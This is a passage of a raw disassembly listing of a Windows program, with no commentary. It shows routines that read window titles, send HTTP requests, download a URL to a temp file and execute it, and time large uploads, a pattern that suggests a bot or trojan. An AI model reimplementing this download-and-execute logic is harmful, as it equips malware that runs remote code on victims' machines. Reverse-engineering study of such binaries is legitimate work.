ebx jz short loc_40703F mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40703F: ; CODE XREF: sub_406B3F+4F8j mov byte ptr [ebp+var_4], 6 mov eax, [ebp+var_24] cmp eax, ebx jz short loc_407050 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_407050: ; CODE XREF: sub_406B3F+4CBj ; sub_406B3F+509j ... lea eax, [ebp+var_48] push eax call esi lea eax, [ebp+var_58] push eax call esi mov byte ptr [ebp+var_4], 3 mov eax, [ebp+var_18] cmp eax, ebx jz short loc_40706D mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40706D: ; CODE XREF: sub_406B3F+10Dj ; sub_406B3F+124j ... mov byte ptr [ebp+var_4], 2 mov eax, [ebp+var_1C] cmp eax, ebx jz short loc_40707E mov ecx, [eax] push eax loc_40707B: ; DATA XREF: .text:00434924o ; .text:00434938o ... call dword ptr [ecx+8] loc_40707E: ; CODE XREF: sub_406B3F+537j mov byte ptr [ebp+var_4], 1 mov eax, [ebp+var_14] cmp eax, ebx jz short loc_40708F mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40708F: ; CODE XREF: sub_406B3F+548j mov byte ptr [ebp+var_4], bl mov eax, [ebp+var_10] cmp eax, ebx jz short loc_40709F mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40709F: ; CODE XREF: sub_406B3F+558j or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_20] cmp eax, ebx jz short loc_4070CA mov ecx, [eax] push eax call dword ptr [ecx+8] jmp short loc_4070CA ; --------------------------------------------------------------------------- loc_4070B2: ; CODE XREF: sub_406B3F+155j ; sub_406B3F+16Aj ... mov esi, ds:dword_4291CC jmp short loc_407050 ; --------------------------------------------------------------------------- loc_4070BA: ; CODE XREF: sub_406B3F+8Ej ; sub_406B3F+A9j push 0 push offset loc_406B93 push [ebp+arg_0] call ds:dword_429200 ; EnumChildWindows loc_4070CA: ; CODE XREF: sub_406B3F+C4j ; sub_406B3F+D2j ... mov ecx, [ebp+var_C] pop edi xor eax, eax pop esi inc eax mov large fs:0, ecx pop ebx leave retn 8 sub_406B3F endp ; =============== S U B R O U T I N E ======================================= sub_4070DE proc near ; DATA XREF: .text:0042FEE4o mov eax, 80004001h retn 8 sub_4070DE endp ; =============== S U B R O U T I N E ======================================= sub_4070E6 proc near ; DATA XREF: .text:0042FEE8o mov eax, 80004001h retn 10h sub_4070E6 endp ; =============== S U B R O U T I N E ======================================= sub_4070EE proc near ; DATA XREF: .text:0042FEECo mov eax, 80004001h retn 18h sub_4070EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4070F6 proc near ; CODE XREF: sub_406B3F+43Ep var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push ecx push esi xor ecx, ecx lea esi, [ebx+4] cmp [esi], ecx push edi mov edi, eax mov [ebp+var_4], ecx jz short loc_407118 mov eax, [esi] cmp eax, ecx jz short loc_407118 mov [esi], ecx mov ecx, [eax] push eax call dword ptr [ecx+8] loc_407118: ; CODE XREF: sub_4070F6+12j ; sub_4070F6+18j call sub_405FE5 mov eax, [edi] lea ecx, [ebp+var_4] push ecx push offset dword_429448 push edi call dword ptr [eax] mov edi, eax test edi, edi jl short loc_407158 mov eax, [ebp+var_4] mov ecx, [eax] lea esi, [ebx+0Ch] push esi lea edx, [ebp+arg_0] push edx push eax call dword ptr [ecx+10h] mov edi, eax test edi, edi jl short loc_407158 mov esi, [esi] mov eax, [esi] lea ecx, [ebx+14h] push ecx push ebx push esi call dword ptr [eax+14h] mov [ebx+10h], eax loc_407158: ; CODE XREF: sub_4070F6+39j ; sub_4070F6+50j mov eax, [ebp+var_4] test eax, eax jz short loc_407165 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_407165: ; CODE XREF: sub_4070F6+67j mov eax, edi pop edi pop esi leave retn 10h sub_4070F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40716D proc near ; DATA XREF: .text:off_42FED8o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi mov edi, [ebp+arg_8] and dword ptr [edi], 0 push offset dword_429458 push [ebp+arg_4] call sub_405FB5 test eax, eax pop ecx pop ecx jnz short loc_4071BC push offset dword_429438 push [ebp+arg_4] call sub_405FB5 test eax, eax pop ecx pop ecx jnz short loc_4071BC push offset dword_429418 push [ebp+arg_4] call sub_405FB5 neg eax sbb eax, eax pop ecx and eax, 7FFFBFFEh pop ecx add eax, 80004002h jmp short loc_4071CB ; --------------------------------------------------------------------------- loc_4071BC: ; CODE XREF: sub_40716D+1Bj ; sub_40716D+2Ej push esi mov esi, [ebp+arg_0] mov eax, [esi] push esi call dword ptr [eax+4] mov [edi], esi xor eax, eax pop esi loc_4071CB: ; CODE XREF: sub_40716D+4Dj pop edi pop ebp retn 0Ch sub_40716D endp ; =============== S U B R O U T I N E ======================================= sub_4071D0 proc near ; DATA XREF: .text:0042FEDCo arg_0 = dword ptr 4 mov eax, [esp+arg_0] inc dword ptr [eax+8] mov eax, [eax+8] retn 4 sub_4071D0 endp ; =============== S U B R O U T I N E ======================================= sub_4071DD proc near ; DATA XREF: .text:0042FEE0o arg_0 = dword ptr 4 mov ecx, [esp+arg_0] dec dword ptr [ecx+8] mov eax, [ecx+8] jnz short locret_4071F3 push 1 push ecx call sub_407259 xor eax, eax locret_4071F3: ; CODE XREF: sub_4071DD+Aj retn 4 sub_4071DD endp ; =============== S U B R O U T I N E ======================================= sub_4071F6 proc near ; DATA XREF: .text:0042FEF0o arg_4 = dword ptr 8 arg_18 = dword ptr 1Ch cmp [esp+arg_18], 0 jnz short loc_407204 mov eax, 80004003h jmp short locret_407256 ; --------------------------------------------------------------------------- loc_407204: ; CODE XREF: sub_4071F6+5j cmp [esp+arg_4], 3EFh jnz short loc_407251 push esi push edi call ds:dword_4291F4 ; GetForegroundWindow push 200h mov esi, offset dword_435D48 mov edi, eax push esi push edi call ds:dword_4291F8 ; GetWindowTextW push 2Dh push esi call sub_41D348 cmp eax, esi pop ecx pop ecx jbe short loc_40723D and word ptr [eax-2], 0 loc_40723D: ; CODE XREF: sub_4071F6+40j push 0 push offset sub_4060DC push edi call ds:dword_429200 ; EnumChildWindows pop edi xor eax, eax pop esi jmp short locret_407256 ; --------------------------------------------------------------------------- loc_407251: ; CODE XREF: sub_4071F6+16j mov eax, 80020003h locret_407256: ; CODE XREF: sub_4071F6+Cj ; sub_4071F6+59j retn 24h sub_4071F6 endp ; =============== S U B R O U T I N E ======================================= sub_407259 proc near ; CODE XREF: sub_4071DD+Fp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] call sub_40727A test [esp+arg_4], 1 jz short loc_407273 push [esp+arg_0] call sub_41C7B8 pop ecx loc_407273: ; CODE XREF: sub_407259+Ej mov eax, [esp+arg_0] retn 8 sub_407259 endp ; =============== S U B R O U T I N E ======================================= sub_40727A proc near ; CODE XREF: sub_407259+4p mov dword ptr [eax], offset off_42FED8 mov eax, [eax+4] test eax, eax jz short locret_40728D mov ecx, [eax] push eax call dword ptr [ecx+8] locret_40728D: ; CODE XREF: sub_40727A+Bj retn sub_40727A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4280CC loc_40728E: ; CODE XREF: sub_4280CC+4Dj ; sub_4280CC+57j push esi push edi mov esi, eax push 0FFFFFFFFh push dword ptr [esi+10h] call ds:dword_429128 ; WaitForSingleObject mov eax, esi xor edi, edi call sub_408AF0 test eax, eax jbe short loc_4072C4 loc_4072AA: ; CODE XREF: sub_4280CC-20E0Aj mov eax, [esi+4] lea eax, [eax+edi*4] push dword ptr [eax] call sub_41C7B8 pop ecx mov eax, esi inc edi call sub_408AF0 cmp edi, eax jb short loc_4072AA loc_4072C4: ; CODE XREF: sub_4280CC-20E24j push dword ptr [esi+10h] call ds:dword_429138 ; ReleaseMutex push dword ptr [esi+10h] call ds:dword_4290F0 ; CloseHandle call sub_413A1C pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4280CC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4072DE proc near ; CODE XREF: sub_40B78B+C5p ; sub_40C14B+1Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi push [ebp+arg_0] mov esi, edi call sub_40738E test eax, eax jnz short loc_40732C push 0FFFFFFFFh push dword ptr [edi+10h] call ds:dword_429128 ; WaitForSingleObject push [ebp+arg_0] call sub_41C350 push eax call sub_41BAB5 push [ebp+arg_0] mov [ebp+var_4], eax push eax call sub_41C930 add esp, 10h lea esi, [ebp+var_4] mov eax, edi call sub_413F72 push dword ptr [edi+10h] call ds:dword_429138 ; ReleaseMutex loc_40732C: ; CODE XREF: sub_4072DE+11j pop esi leave retn 4 sub_4072DE endp ; =============== S U B R O U T I N E ======================================= sub_407331 proc near ; CODE XREF: .text:0040A53Fp ; .text:0040AD3Fp ... arg_4 = dword ptr 8 mov eax, esi call sub_408AF0 test eax, eax jz short locret_407386 push ebx push edi push 0FFFFFFFFh push dword ptr [esi+10h] call ds:dword_429128 ; WaitForSingleObject mov eax, esi xor ebx, ebx call sub_408AF0 test eax, eax jbe short loc_407377 mov edi, [esi+4] loc_407359: ; CODE XREF: sub_407331+44j mov eax, [esp+4+arg_4] mov ecx, [edi] call loc_416FDE test eax, eax jnz short loc_407389 mov eax, esi inc ebx add edi, 4 call sub_408AF0 cmp ebx, eax jb short loc_407359 loc_407377: ; CODE XREF: sub_407331+23j xor edi, edi loc_407379: ; CODE XREF: sub_407331+5Bj push dword ptr [esi+10h] call ds:dword_429138 ; ReleaseMutex mov eax, edi pop edi pop ebx locret_407386: ; CODE XREF: sub_407331+9j retn 4 ; --------------------------------------------------------------------------- loc_407389: ; CODE XREF: sub_407331+35j xor edi, edi inc edi jmp short loc_407379 sub_407331 endp ; =============== S U B R O U T I N E ======================================= sub_40738E proc near ; CODE XREF: sub_4072DE+Ap arg_0 = dword ptr 4 push edi push 0FFFFFFFFh push dword ptr [esi+10h] call ds:dword_429128 ; WaitForSingleObject mov eax, esi xor edi, edi call sub_408AF0 test eax, eax jbe short loc_4073CA loc_4073A7: ; CODE XREF: sub_40738E+3Aj mov eax, [esi+4] push [esp+4+arg_0] lea eax, [eax+edi*4] push dword ptr [eax] call sub_41C730 test eax, eax pop ecx pop ecx jz short loc_4073DB mov eax, esi inc edi call sub_408AF0 cmp edi, eax jb short loc_4073A7 loc_4073CA: ; CODE XREF: sub_40738E+17j xor edi, edi loc_4073CC: ; CODE XREF: sub_40738E+50j push dword ptr [esi+10h] call ds:dword_429138 ; ReleaseMutex mov eax, edi pop edi retn 4 ; --------------------------------------------------------------------------- loc_4073DB: ; CODE XREF: sub_40738E+2Ej xor edi, edi inc edi jmp short loc_4073CC sub_40738E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4073E0 proc near ; CODE XREF: .text:0042792Aj ; .text:00427BD9j ... jmp sub_413A1C sub_4073E0 endp ; =============== S U B R O U T I N E ======================================= sub_4073E5 proc near ; CODE XREF: sub_40C2E7+Ep ; sub_413F72+5p ... mov ecx, [eax+4] test ecx, ecx jnz short loc_4073EF xor eax, eax retn ; --------------------------------------------------------------------------- loc_4073EF: ; CODE XREF: sub_4073E5+5j mov eax, [eax+0Ch] sub eax, ecx sar eax, 2 retn sub_4073E5 endp ; =============== S U B R O U T I N E ======================================= sub_4073F8 proc near ; CODE XREF: sub_40C2E7+2Cp ; sub_413F72+2Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov eax, edi call sub_408AF0 test eax, eax jnz short loc_407408 xor esi, esi jmp short loc_407412 ; --------------------------------------------------------------------------- loc_407408: ; CODE XREF: sub_4073F8+Aj mov esi, [esp+4+arg_0] sub esi, [edi+4] sar esi, 2 loc_407412: ; CODE XREF: sub_4073F8+Ej mov eax, [esp+4+arg_4] push 1 push [esp+8+arg_0] mov ecx, edi call sub_4140D0 mov eax, [edi+4] lea eax, [eax+esi*4] mov [ebx], eax mov eax, ebx pop esi retn 8 sub_4073F8 endp ; =============== S U B R O U T I N E ======================================= sub_407431 proc near ; CODE XREF: sub_407D47+45p ; sub_407DB9+8Fp push 400h push esi call sub_4150A5 mov dword ptr [esi], offset off_430048 mov eax, esi retn sub_407431 endp ; =============== S U B R O U T I N E ======================================= sub_407445 proc near ; DATA XREF: .text:0043004Co ; .text:004306DCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_407461 test [esp+4+arg_0], 1 jz short loc_40745B push esi call sub_41C7B8 pop ecx loc_40745B: ; CODE XREF: sub_407445+Dj mov eax, esi pop esi retn 4 sub_407445 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_407461 proc near ; CODE XREF: sub_407445+3p jmp sub_415135 sub_407461 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407466 proc near ; CODE XREF: sub_4077BF+79p ; sub_4077BF+11Ap ... var_9B8 = byte ptr -9B8h var_5B8 = byte ptr -5B8h var_44 = byte ptr -44h var_40 = dword ptr -40h var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 9B8h push ebx push esi push edi push [ebp+arg_0] mov ebx, eax call sub_41C350 inc eax push eax call sub_41BAB5 push [ebp+arg_0] mov edi, eax push edi mov [ebp+var_1C], edi call sub_41C930 lea eax, [ebp+var_8] push eax lea esi, [ebp+var_4] call sub_407779 and [ebp+var_10], 0 and [ebp+var_C], 0 xor edi, edi inc edi add esp, 14h lea esi, [ebp+var_5B8] mov [ebp+var_18], edi call sub_414878 mov ecx, edi mov eax, esi call sub_4148AA push [ebp+var_4] mov ax, 50h mov ecx, esi call sub_414A81 cmp eax, 0FFFFFFFFh jz loc_4076C8 cmp [ebp+arg_8], edi mov [ebp+var_9B8], 0 mov esi, offset word_42FE36 jnz short loc_40750B test ebx, ebx jz short loc_40750B push ebx call sub_41C350 push eax lea eax, [ebp+var_9B8] push offset aContentLengthD ; "Content-Length: %d\r\nContent-Type: appli"... push eax call sub_41CA2D add esp, 10h jmp short loc_407512 ; --------------------------------------------------------------------------- loc_40750B: ; CODE XREF: sub_407466+82j ; sub_407466+86j cmp [ebp+arg_8], edi mov ebx, esi jnz short loc_40751A loc_407512: ; CODE XREF: sub_407466+A3j lea edi, [ebp+var_9B8] jmp short loc_40751C ; --------------------------------------------------------------------------- loc_40751A: ; CODE XREF: sub_407466+AAj mov edi, esi loc_40751C: ; CODE XREF: sub_407466+B2j push [ebp+var_8] call sub_41C350 test eax, eax pop ecx jz short loc_40752C mov esi, [ebp+var_8] loc_40752C: ; CODE XREF: sub_407466+C1j cmp [ebp+arg_8], 0 mov eax, offset aGet ; "GET" jz short loc_40753C mov eax, offset aPost ; "POST" loc_40753C: ; CODE XREF: sub_407466+CFj push ebx push edi push [ebp+var_4] lea edi, [ebp+var_5B8] push esi push eax push offset aSSHttp1_1HostS ; "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: "... call sub_414CA6 add esp, 18h lea eax, [ebp+var_40] call sub_414E89 mov edi, 400h mov esi, eax call sub_414EC6 and [ebp+var_14], 0 and [ebp+var_8], 0 or [ebp+var_4], 0FFFFFFFFh loc_407576: ; CODE XREF: sub_407466+208j ; sub_407466+235j lea eax, [ebp+var_5B8] lea edi, [ebp+var_40] push eax call sub_414EDD test eax, eax jle loc_4076B8 loc_40758D: ; CODE XREF: sub_407466+23Fj cmp [ebp+var_28], 0 jnz loc_407674 jmp loc_407651 ; --------------------------------------------------------------------------- loc_40759C: ; CODE XREF: sub_407466+1FDj xor edi, edi cmp [ebp+var_C], edi jnz loc_4076E3 cmp [ebp+var_10], edi jz short loc_4075C5 push [ebp+var_40] call sub_41C350 test eax, eax pop ecx jnz short loc_4075C5 mov [ebp+var_C], 1 jmp loc_407651 ; --------------------------------------------------------------------------- loc_4075C5: ; CODE XREF: sub_407466+144j ; sub_407466+151j cmp [ebp+var_8], edi jz short loc_4075DB push [ebp+var_40] call sub_41C350 test eax, eax pop ecx jz loc_407747 loc_4075DB: ; CODE XREF: sub_407466+162j mov esi, offset asc_43015C ; ":" push esi push [ebp+var_40] call sub_41CE46 mov ebx, eax cmp ebx, edi pop ecx pop ecx jz short loc_407651 push offset aContentLength ; "Content-Length" push ebx call sub_426D1E test eax, eax pop ecx pop ecx jnz short loc_40761B push esi push edi call sub_41CE46 cmp eax, edi pop ecx pop ecx jz short loc_407651 push eax call sub_41D59C pop ecx mov [ebp+var_8], eax jmp short loc_407651 ; --------------------------------------------------------------------------- loc_40761B: ; CODE XREF: sub_407466+19Aj push offset aTransferEncodi ; "Transfer-Encoding" push ebx call sub_426D1E test eax, eax pop ecx pop ecx jnz short loc_407651 push esi push edi call sub_41CE46 cmp eax, edi pop ecx pop ecx jz short loc_407651 push offset aChunked ; "chunked" push eax call sub_41CDC0 test eax, eax pop ecx pop ecx jz short loc_407651 mov [ebp+var_10], 1 loc_407651: ; CODE XREF: sub_407466+131j ; sub_407466+15Aj ... push offset asc_42FF68 ; "\r\n" push 2 lea esi, [ebp+var_40] pop ebx call sub_414F40 test eax, eax jnz loc_40759C xor edi, edi loc_40766B: ; CODE XREF: sub_407466+29Cj ; sub_407466+2B1j ... cmp [ebp+var_28], edi jz loc_407576 loc_407674: ; CODE XREF: sub_407466+12Bj lea eax, [ebp+var_40] call sub_41501F lea ecx, [ebp+var_40] mov esi, eax call sub_415008 add [ebp+var_14], eax lea ecx, [ebp+var_44] push ecx push eax push [ebp+var_40] lea eax, [ebp+var_4] call sub_405D36 test esi, esi jz loc_407576 cmp [ebp+var_10], 0 jnz loc_40758D push 3 lea eax, [ebp+var_5B8] call sub_414D44 loc_4076B8: ; CODE XREF: sub_407466+121j lea esi, [ebp+var_40] call sub_414EA3 lea esi, [ebp+var_4] call sub_405CF2 loc_4076C8: ; CODE XREF: sub_407466+6Dj push 3 lea eax, [ebp+var_5B8] call sub_414D44 push [ebp+var_1C] call sub_41CA28 pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4076E3: ; CODE XREF: sub_407466+13Bj push 10h push edi push [ebp+var_40] call sub_41CC44 add esp, 0Ch cmp eax, edi jnz short loc_407707 push 3 lea eax, [ebp+var_5B8] call sub_414D44 jmp loc_40766B ; --------------------------------------------------------------------------- loc_407707: ; CODE XREF: sub_407466+28Dj mov edx, eax lea eax, [ebp+var_40] mov [ebp+var_C], edi call sub_414FF1 cmp [ebp+var_18], edi jz loc_40766B push 100h push 4 push 7 push 0C0000000h push [ebp+arg_4] lea eax, [ebp+var_4] call sub_405CAD push [ebp+var_4] call ds:dword_429100 ; SetEndOfFile mov [ebp+var_18], edi jmp loc_40766B ; --------------------------------------------------------------------------- loc_407747: ; CODE XREF: sub_407466+16Fj mov edx, [ebp+var_8] lea eax, [ebp+var_40] call sub_414FF1 push 100h push 4 push 7 push 0C0000000h push [ebp+arg_4] lea eax, [ebp+var_4] call sub_405CAD push [ebp+var_4] call ds:dword_429100 ; SetEndOfFile jmp loc_40766B sub_407466 endp ; =============== S U B R O U T I N E ======================================= sub_407779 proc near ; CODE XREF: sub_407466+32p ; sub_407949+27p arg_0 = dword ptr 4 push ebx push 7 push offset aHttp ; "http://" push edi xor ebx, ebx mov [esi], edi call sub_41D5B0 add esp, 0Ch test eax, eax jnz short loc_40779A lea eax, [edi+7] push 7 mov [esi], eax pop ebx loc_40779A: ; CODE XREF: sub_407779+17j push offset asc_430038 ; "/" push dword ptr [esi] call sub_41CE46 push eax mov [esi], eax call sub_41C350 mov ecx, [esp+10h+arg_0] add eax, ebx add esp, 0Ch lea eax, [eax+edi+1] mov [ecx], eax pop ebx retn sub_407779 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077BF proc near ; CODE XREF: sub_40F1B6+22p ; sub_40F1FC+1Bp ... var_35C = byte ptr -35Ch var_258 = byte ptr -258h var_208 = byte ptr -208h var_154 = byte ptr -154h var_104 = byte ptr -104h var_54 = dword ptr -54h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 35Ch push esi push [ebp+arg_4] lea eax, [ebp+var_154] push eax call sub_41C930 push offset aTemp ; "TEMP" push [ebp+arg_4] call sub_426D1E add esp, 10h xor esi, esi test eax, eax jnz short loc_40782B lea eax, [ebp+var_258] push eax push 104h call ds:dword_42911C ; GetTempPathA lea eax, [ebp+var_35C] push eax push esi push esi lea eax, [ebp+var_258] push eax call ds:dword_429118 ; GetTempFileNameA lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_154] push eax call sub_41C930 pop ecx pop ecx loc_40782B: ; CODE XREF: sub_4077BF+2Dj push esi lea eax, [ebp+var_154] push eax push [ebp+arg_0] xor eax, eax call sub_407466 add esp, 0Ch cmp [ebp+arg_8], 1 jnz short loc_407885 push 44h pop eax push eax mov [ebp+var_54], eax lea eax, [ebp+var_54] push esi push eax call sub_41C6D0 push 10h lea eax, [ebp+var_10] push esi push eax call sub_41C6D0 add esp, 18h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi lea eax, [ebp+var_154] push eax push esi call ds:dword_4290EC ; CreateProcessA loc_407882: ; CODE XREF: sub_4077BF+CAj pop esi leave retn ; --------------------------------------------------------------------------- loc_407885: ; CODE XREF: sub_4077BF+85j cmp [ebp+arg_8], 2 jnz short loc_407882 lea eax, [ebp+var_154] push eax call sub_416F51 int 3 ; Trap to Debugger loc_407898: ; CODE XREF: sub_40F27A+17p push ebp mov ebp, esp sub esp, 208h lea eax, [ebp+var_208] push eax push 104h call ds:dword_42911C ; GetTempPathA lea eax, [ebp+var_104] push eax push 0 push 0 lea eax, [ebp+var_208] push eax call ds:dword_429118 ; GetTempFileNameA push 0 lea eax, [ebp+var_104] push eax push [ebp+arg_0] xor eax, eax call sub_407466 add esp, 0Ch lea eax, [ebp+var_104] push eax call ds:dword_4290DC ; DeleteFileA leave retn sub_4077BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078F0 proc near ; CODE XREF: sub_40F2B3+20p var_208 = byte ptr -208h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 208h lea eax, [ebp+var_208] push eax push 104h call ds:dword_42911C ; GetTempPathA lea eax, [ebp+var_104] push eax push 0 push 0 lea eax, [ebp+var_208] push eax call ds:dword_429118 ; GetTempFileNameA push 1 lea eax, [ebp+var_104] push eax push [ebp+arg_0] mov eax, [ebp+arg_4] call sub_407466 add esp, 0Ch lea eax, [ebp+var_104] push eax call ds:dword_4290DC ; DeleteFileA leave retn sub_4078F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407949 proc near ; CODE XREF: sub_40F2F6+17p var_A80 = byte ptr -0A80h var_680 = byte ptr -680h var_10C = byte ptr -10Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A80h push esi push edi push [ebp+arg_0] lea eax, [ebp+var_10C] push eax call sub_41C930 lea eax, [ebp+var_4] push eax lea esi, [ebp+var_C] lea edi, [ebp+var_10C] call sub_407779 add esp, 0Ch lea esi, [ebp+var_680] call sub_414878 xor ecx, ecx inc ecx mov eax, esi call sub_4148AA push [ebp+var_C] mov ax, 50h mov ecx, esi call sub_414A81 cmp eax, 0FFFFFFFFh jz short loc_407A1A mov esi, ds:dword_4290A8 and [ebp+var_8], 0 push ebx call esi ; GetTickCount mov ebx, 4B000h push ebx push [ebp+var_C] lea edi, [ebp+var_680] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... mov [ebp+var_4], eax call sub_414CA6 add esp, 0Ch loc_4079CC: ; CODE XREF: sub_407949+A0j push 400h lea eax, [ebp+var_A80] push eax lea edi, [ebp+var_680] call sub_414C2D add [ebp+var_8], eax cmp [ebp+var_8], ebx jb short loc_4079CC call esi ; GetTickCount mov esi, eax push 3 mov eax, edi call sub_414D44 sub esi, [ebp+var_4] test esi, esi mov [ebp+var_4], esi fild [ebp+var_4] jge short loc_407A0B fadd ds:flt_430D30 loc_407A0B: ; CODE XREF: sub_407949+BAj fmul ds:flt_430D2C pop ebx fdivr ds:flt_430D28 jmp short loc_407A2D ; --------------------------------------------------------------------------- loc_407A1A: ; CODE XREF: sub_407949+55j push 3 lea eax, [ebp+var_680] call sub_414D44 fld ds:flt_430D24 loc_407A2D: ; CODE XREF: sub_407949+CFj pop edi pop esi leave retn sub_407949 endp ; =============== S U B R O U T I N E ======================================= sub_407A31 proc near ; CODE XREF: sub_40F340+3Ap mov eax, offset loc_427A2D call sub_41E550 push ebx push esi push edi mov edi, [ebp+8] and dword ptr [edi+4], 0 or dword ptr [edi+0Ch], 0FFFFFFFFh and dword ptr [ebp-4], 0 lea ebx, [edi+10h] mov esi, ebx mov dword ptr [edi], offset off_43006C call sub_414878 lea eax, [edi+584h] push eax call sub_407D47 lea esi, [edi+598h] call sub_40466F push 100h push dword ptr [ebp+0Ch] lea eax, [edi+5BCh] push eax call sub_41C5A0 xor ecx, ecx add esp, 0Ch inc ecx mov eax, ebx call sub_4148AA mov esi, edi call sub_416AC4 mov ecx, [ebp-0Ch] mov eax, edi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 8 sub_407A31 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_407AAF proc near ; DATA XREF: .text:00430070o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_407ACB test [esp+4+arg_0], 1 jz short loc_407AC5 push esi call sub_41C7B8 pop ecx loc_407AC5: ; CODE XREF: sub_407AAF+Dj mov eax, esi pop esi retn 4 sub_407AAF endp ; =============== S U B R O U T I N E ======================================= sub_407ACB proc near ; CODE XREF: sub_407AAF+3p push edi push 3 lea eax, [esi+10h] mov dword ptr [esi], offset off_43006C call sub_414D44 lea eax, [esi+598h] call sub_404683 lea edi, [esi+584h] call sub_40B9E3 mov ecx, esi pop edi jmp sub_416AA6 sub_407ACB endp ; --------------------------------------------------------------------------- loc_407AFA: ; DATA XREF: .text:off_43006Co mov eax, offset loc_427B98 call sub_41E550 sub esp, 5B4h push esi push edi mov edi, ecx lea esi, [ebp-1Ch] mov [ebp-14h], edi call sub_405E63 and dword ptr [ebp-4], 0 push offset aNull_1 ; "null" push 6 push 50h mov eax, esi call sub_405EF4 add edi, 10h mov ax, 50h mov ecx, edi call sub_414997 or esi, 0FFFFFFFFh cmp eax, esi jz short loc_407B4F push 4 mov eax, edi call sub_414A0C cmp eax, esi jnz short loc_407B5F loc_407B4F: ; CODE XREF: .text:00407B40j mov [ebp-4], esi lea esi, [ebp-1Ch] call sub_405EDB jmp loc_407C04 ; --------------------------------------------------------------------------- loc_407B5F: ; CODE XREF: .text:00407B4Dj push ebx push 8 pop ebx mov esi, edi call sub_414AE0 mov esi, [ebp-14h] mov eax, [esi+47Ch] push 0 push 0FFFFFFFFh mov [ebp-10h], eax push 0 lea eax, [ebp-10h] push eax push 1 call ds:dword_4292CC ; WSAWaitForMultipleEvents cmp eax, 102h jz short loc_407BF7 add esi, 584h mov [ebp-20h], esi loc_407B98: ; CODE XREF: .text:00407BF5j lea eax, [ebp-4Ch] push eax call sub_414C04 lea esi, [ebp-5C0h] call sub_414878 push edi lea esi, [ebp-5C0h] call sub_414A1F push 21h pop ebx lea esi, [ebp-5C0h] call sub_414AE0 mov ecx, [ebp-20h] lea eax, [ebp-5C0h] push eax call sub_407DB9 mov ecx, [ebp-14h] push 0 push 0FFFFFFFFh mov [eax+154h], ecx push 0 lea eax, [ebp-10h] push eax push 1 call ds:dword_4292CC ; WSAWaitForMultipleEvents cmp eax, 102h jnz short loc_407B98 loc_407BF7: ; CODE XREF: .text:00407B8Dj or dword ptr [ebp-4], 0FFFFFFFFh lea esi, [ebp-1Ch] call sub_405EDB pop ebx loc_407C04: ; CODE XREF: .text:00407B5Aj mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx leave retn ; =============== S U B R O U T I N E ======================================= sub_407C12 proc near ; DATA XREF: .text:00430054o arg_0 = dword ptr 4 cmp [esp+arg_0], 1 push ebp mov ebp, ecx jnz loc_407D40 mov ecx, [ebp+34h] mov edx, [ebp+28h] mov eax, ecx imul eax, 574h add eax, [ebp+18h] push edi lea ecx, [ecx+ecx*8] lea edi, [edx+ecx*4] push eax call sub_414EDD test eax, eax jle loc_407D3F push ebx push esi jmp loc_407CFB ; --------------------------------------------------------------------------- loc_407C4D: ; CODE XREF: sub_407C12+104j mov eax, [ebp+34h] mov ecx, [ebp+28h] lea eax, [eax+eax*8] lea eax, [ecx+eax*4] mov eax, [eax] cmp byte ptr [eax], 0 jnz loc_407CFB mov esi, [ebp+154h] mov ebx, 598h add esi, ebx call sub_4046C9 test eax, eax jz short loc_407C89 mov eax, [ebp+154h] push 1 add eax, ebx call sub_404694 loc_407C89: ; CODE XREF: sub_407C12+66j mov edi, [ebp+34h] mov eax, [ebp+154h] imul edi, 574h add edi, [ebp+18h] lea ecx, [eax+5BCh] push ecx lea esi, [eax+598h] call sub_404706 push eax push offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Length: %d\r\nCo"... call sub_414CA6 mov edi, 